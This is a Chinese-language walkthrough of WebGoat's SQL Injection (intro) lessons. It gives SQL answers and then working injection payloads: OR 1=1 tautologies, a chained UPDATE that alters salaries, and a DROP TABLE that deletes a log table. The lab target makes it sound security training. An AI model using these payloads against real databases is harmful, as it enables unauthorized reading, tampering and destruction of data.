当前位置: 首页 > article >正文

WebGoat通关攻略之 SQL Injection (intro)

SQL Injection (intro)

1. What is SQL?

在这里插入图片描述本题练习SQL查询语句,就是写一句SQL获取叫Bob Franco所在的department

SELECT department FROM employees WHERE first_name = 'Bob' AND last_name = 'Franco'

在这里插入图片描述
成功通关!

2. Data Manipulation Language (DML)

在这里插入图片描述
本题练习的是Update 修改数据,将Tobi Barnett的department改为‘Sales

UPDATE employees SET department = 'Sales' WHERE first_name = 'Tobi' AND last_name = 'Barnett'

在这里插入图片描述
成功通关!

3. Data Definition Language (DDL)

在这里插入图片描述
本题练习的是Alter 添加数据,在employees表中添加phone(varchar(20))列

ALTER TABLE employees ADD phone varchar(20)

在这里插入图片描述
成功通关!

4. Data Control Language (DCL)

在这里插入图片描述
本题练习的是数据控制语句,需要授予用户组 “UnauthorizedUser”更改表的权限,在这里,我们可以使用grant授权命令对该用户组进行授权

GRANT ALL PRIVILEGES ON grant_rights TO unauthorized_user;

在这里插入图片描述
成功通关!

5. What is SQL injection?

在这里插入图片描述
练习的是SQL注入
在这里插入图片描述

"SELECT * FROM users WHERE name = 'Smith' OR 1=1;--'";

6. Try It! String SQL injection

在这里插入图片描述
字符串型SQL注入讲解,执行的SQL语句是:

SELECT * FROM use_data WHERE first_name='john' and lastname='Smith or 1=1'

上述SQL语句的意思是:从user_data表中,寻找first_name=‘john’,且last_name='Smith or 1=1’的全部数据,也就是在数据表中,满足条件的一行数据。其中,last_name的内容是由我们控制的。

看到能输入or 1=1,是不是应该有一种使"where"后面出现“xxx or 1=1”的冲动,因为“where xxx or 1=1”这句话,不就跟没得条件一样吗,1=1是恒成立,“xxx or 1=1”恒成立。

那么我们可以这样输入:
在这里插入图片描述
如此填写之后,要执行的SQL语句,就会变成这样:
在这里插入图片描述
红框中的内容都变成了字符串,那么SQL语句就变成了:

SELECT * FROM use_data WHERE first_name=‘XXX’ or ‘1’='1’这种形式,也就是where后面相当于没条件了。提交数据,可以看到:
在这里插入图片描述
成功通关!

7. Try It! Numeric SQL injection

在这里插入图片描述
本题目练习的是数字SQL注入,给SQL语句"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;构建一个动态查询,分析SQL语句,以及实验可知,本题的注入点在user_id

原因:本题使用了SQL预编译语句,但是只对Login_Count做了防护,User_Id还是直接带入参数值,因此只能使用user_id作为注入点组成SQL语句。

SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or 1 = 1

在这里插入图片描述
成功通关!

8. Compromising confidentiality with String SQL injection

在这里插入图片描述
本题练习的是使用String SQL注入破坏机密性,从employee表中检索所有雇员数据

Employee Name:Smith
Authentication TAN:3SL99A' OR 1=1;--

在这里插入图片描述
成功通关!

9. Compromising Integrity with Query chaining

在这里插入图片描述
本题练习的是使用查询链接损害完整性,利用查询链(分号;)破坏数据完整性,也就是修改非授权数据。两个框都可以是注入点

Employee Name:Smith
Authentication TAN:3SL99A' OR 1=1;UPDATE employees SET SALARY = 90000 WHERE LAST_NAME = 'Smith';--

在这里插入图片描述
成功通关!

10. Compromising Availability

在这里插入图片描述
本题要利用字符型注入来破坏可用性,也就是让原本被授权的人无法读取或操作某些文件。要求把表access_log删除,因此用DROP TABLE关键字进行操作即可

我们可以先SELECT一下查看表中都有什么:
在这里插入图片描述

3SL99A' OR 1=1;DROP TABLE access_log;--

在这里插入图片描述
成功通关!


http://www.kler.cn/a/136085.html

相关文章:

  • MyBatis入门的详细应用实例
  • 回归预测 | MATLAB实现CNN-BiGRU-Attention卷积神经网络结合双向门控循环单元融合注意力机制多输入单输出回归预测
  • linux 使用zip unzip命令
  • qlib优缺点
  • 项目管理工具Maven(一)
  • 在 C# 中加载图像而不锁定文件
  • 持续集成交付CICD:Jenkins Sharedlibrary 共享库
  • Java语言基础第四天
  • centos oracle11g开启归档模式
  • 下一代搜索引擎会什么?
  • 力扣贪心——跳跃游戏I和II
  • 【整顿C盘】pycharm、chrome等软件,缓存移动
  • 记一次线上bug排查-----SpringCloud Gateway组件 请求头accept-encoding导致响应结果乱码
  • pytho你-opencv划痕检测
  • 浅谈无线测温产品在菲律宾某工厂配电项目的应用
  • 手机照片误删解决方法分享
  • Qt中使用QNetworkAccessManager类发送https请求时状态码返回0
  • 【Android】画面卡顿优化列表流畅度六(终篇)
  • 通过easyexcel实现数据导入功能
  • Django 入门学习总结6 - 测试
  • 海康Visionmaster-环境配置:运行出现 Vm.Core.Solu tion 报错的解决方法
  • 开源简历生成器OpenResume
  • requests库出现AttributeError问题的修复与替代方法
  • uniapp小程序定位;解决调试可以,发布不行的问题
  • 麒麟 ZYJ 服务器软件适配 参考示例
  • Minikube Mac安装使用